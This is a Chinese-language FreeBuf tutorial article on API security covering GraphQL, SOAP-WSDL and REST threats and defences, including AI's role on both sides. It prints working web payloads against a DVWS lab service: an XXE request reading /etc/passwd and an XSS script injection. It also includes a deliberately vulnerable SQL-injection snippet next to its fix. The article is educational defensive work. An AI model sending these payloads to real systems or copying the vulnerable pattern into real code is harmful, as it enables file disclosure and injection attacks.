freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

API安全|深度解析与AI赋能攻防实践
2025-03-14 16:19:13
所属地 甘肃省

API安全学习总结

一、必要性

API安全的重要性

现代Web应用广泛采用前后端分离架构(如Tomcat+Nginx),API作为核心通信桥梁,其安全性直接影响整体系统的防护能力,也因此成为攻击者重点目标。常见攻击包括未授权访问、数据泄露和注入攻击,而随着AI技术的发展,API攻防对抗已进入智能化新阶段。攻击者利用机器学习分析API流量模式,挖掘隐藏漏洞(如参数未过滤、权限校验缺失),并结合自动化模糊测试(Fuzzing)生成高效攻击Payload,极大提升攻击效率。与此同时,防御者也借助AI实时检测异常流量(如高频请求、畸形数据包),通过智能威胁情报分析提前预警已知攻击模式,并利用AI驱动的自动化安全测试工具快速扫描API端点,发现潜在漏洞。这种攻防双方的AI博弈,使API安全的重要性更加凸显。

二、常见API技术及特征

1. GraphQL

识别特征:请求通常发送至/graphql端点,数据包中包含换行符\n,支持内省查询(如__schema)提取完整Schema。
攻击手段:攻击者可利用工具如graphdoc自动生成接口文档,结合恶意查询(如嵌套查询导致DoS)实施攻击。AI在此场景下可利用自然语言处理(NLP)技术分析Schema结构,自动生成覆盖率更高的测试用例,甚至预测可能暴露敏感数据的字段,从而提升攻击或防御效率。
技术细节:例如,内省查询返回的Schema可能包含User类型的字段(如emailpassword),AI可据此构造针对性的查询组合。
具体案例及技术分享https://www.freebuf.com/articles/web/384344.html

2. SOAP-WSDL

特点:基于XML协议,通过WSDL文件描述服务接口,支持复杂的数据类型和操作。
识别方法:请求数据为XML格式,路径常以.asmx?wsdl结尾,WSDL文件可能暴露服务端点和参数类型。
攻击与AI应用:攻击者可利用WSDL文件中的结构信息构造恶意请求,例如触发XML外部实体注入(XXE)。AI通过自动化分析WSDL的XML结构,生成合法但具有探测性的测试请求,并结合历史数据识别潜在的XXE或SQL注入漏洞,从而加速漏洞挖掘过程。

下边是一些相关漏洞示例

XXE:WSDL操作表明可以向SOAP服务发送以下请求来查看用户是否存在:

POST /dvwsuserservice/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4164.0 Safari/537.36 autochrome/red
Connection: close
SOAPAction: Username
Content-Type: text/xml;charset=UTF-8
Content-Length: 469

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:examples:usernameservice">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:Username soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <username xsi:type="xsd:string">geroet</username>
      </urn:Username>
   </soapenv:Body>
</soapenv:Envelope>

任意文件读取:SOAP服务器用来解析该请求的XML库允许使用外部实体,因此我们可以利用它从SOAP服务中读取任意文件

POST /dvwsuserservice/ HTTP/1.1
Host: 192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4164.0 Safari/537.36 autochrome/red
Connection: close
SOAPAction: Username
Content-Type: text/xml;charset=UTF-8
Content-Length: 579

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY exploit SYSTEM "file:///etc/passwd"> ]>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:examples:usernameservice">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:Username soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <username xsi:type="xsd:string">&exploit;</username>
      </urn:Username>
   </soapenv:Body>
</soapenv:Envelope>

XSS:跨站脚本(XSS)攻击发生在可能将恶意脚本注入应用程序并被受害者查看的地方,在SOAP中的XSS其实和传统的Web应用中的XSS也相差不大,只是数据包的构造方式有一些差别,在DVWS管理员用户搜索区域中存在XSS漏洞,我们可以发送HTML编码后的JavaScript到服务器端,例如:<script>alert(1)</script> ,如下是一个简易的发送示例:

POST /dvwsuserservice HTTP/1.1
Host: 192.168.1.1
Content-Length: 493
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Authorization: Bearer null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.204.160
Referer: http://192.168.204.160/admin.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:examples:usernameservice">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:Username soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <username xsi:type="xsd:string">&lt;script&gt;alert(1)&lt;/script&gt;</username>
      </urn:Username>
   </soapenv:Body>
</soapenv:Envelope>

还有ssrf、SQL注入等漏洞

技术细节:如WSDL中定义的<element name="input" type="xsd:string"/>可能未过滤,AI可针对此类弱点生成攻击Payload。

3.REST API

以下是REST API 的 7 大安全威胁与防御措施:

1. 注入攻击(SQL 注入、XSS 等)

原理:攻击者通过构造恶意输入,使 API 解析错误并执行恶意代码。
示例

# 漏洞代码:SQL 注入
user_id = request.GET.get('id')
query = f"SELECT * FROM users WHERE id = {user_id}"  # SQL 注入风险
cursor.execute(query)

防御措施

  • 输入校验(长度、格式、数据类型)。

  • 使用预编译查询

cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
  • 限制请求大小,防止大规模 SQL 注入(HTTP 413)。

2. 拒绝服务攻击(DoS/DDoS)

原理:攻击者发送大量无效请求,使服务器资源耗尽。
示例

@app.route('/api/data')
def get_data():
    time.sleep(5)  # 让 API 响应变慢,模拟资源占用
    return jsonify({"message": "data"})

防御措施

  • 限流策略

from flask_limiter import Limiter
limiter = Limiter(key_func=get_remote_address)
@app.route("/api/data")
@limiter.limit("10 per minute")  # 每分钟最多 10 次请求
def get_data():
    return jsonify({"message": "data"})
  • 强化身份认证(OAuth、双向 TLS)。

  • 结合 HTTPS 防止凭证劫持。

3. 身份认证缺陷

原理:JWT 令牌、API 密钥泄露,导致攻击者冒充合法用户。
防御措施

  • 使用 OAuth 2.0OpenID Connect进行身份验证。

  • 禁止在 URL 传输API 密钥,应改用 HTTP 头

GET /api/resource HTTP/1.1
Authorization: Bearer <JWT_TOKEN>

4. 敏感数据泄露

原理:API 以明文方式传输或存储敏感信息,如 信用卡号、会话令牌
防御措施

  • 启用 TLS(HTTPS)

context = ('cert.pem', 'key.pem')  # SSL 证书
app.run(ssl_context=context)
  • 数据加密存储

from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher = Fernet(key)
encrypted_data = cipher.encrypt(b"Sensitive Information")
  • 定期安全测试(Qualys SSL Labs)。

5. 访问控制失效

原理:API 权限管理不当,导致越权访问。
防御措施

  • RBAC 角色权限控制

if user_role != "admin":
    abort(403)  # 禁止访问
  • 最小权限原则:API 只暴露必要的端点。

6. 参数篡改(CSRF 攻击)

原理:攻击者伪造 API 请求,利用受害者身份执行恶意操作。
防御措施

  • 启用 CSRF 令牌

@app.before_request
def check_csrf():
    token = request.headers.get("X-CSRF-Token")
    if token != session["csrf_token"]:
        abort(403)
  • 使用 API 签名(HMAC 验证请求完整性)。

7. 中间人攻击(MITM)

原理:攻击者拦截 HTTP 请求,窃取 API 访问数据。
防御措施

  • 强制 TLS 1.2+,禁用 SSL:

server {
    listen 443 ssl;
    ssl_protocols TLSv1.2 TLSv1.3;
}
  • 使用 HSTS:

Strict-Transport-Security: max-age=31536000; includeSubDomains
  • 避免 自签名证书,应使用 Let's EncryptDigiCert

针对以上问题综合防御建议:

1. 安全开发生命周期(SDLC)
  • 采用 安全编码的 API 框架(如 Flask-Security)。

  • 代码层内置安全逻辑:

if request.is_secure is False:
    abort(403, "HTTPS required")
2. 分层防御策略
  • 输入验证(防 SQL 注入)。

  • 加密传输(TLS)。

  • 身份认证(OAuth、JWT)。

  • 访问控制(RBAC)。

  • 限流策略(防 DDoS)。

3. API 安全测试
  • 自动化扫描工具

    • OWASP ZAP(渗透测试)。

    • Burp Suite(流量分析)。

    • Postman API Fuzzing(测试 API 逻辑漏洞)。

  • 代码审计

    • 静态代码分析(SonarQube)。

    • 安全 CI/CD(GitHub Actions + Snyk)。

三、端点获取方式

1. Swagger文档泄露

漏洞概

# API接口 # API安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录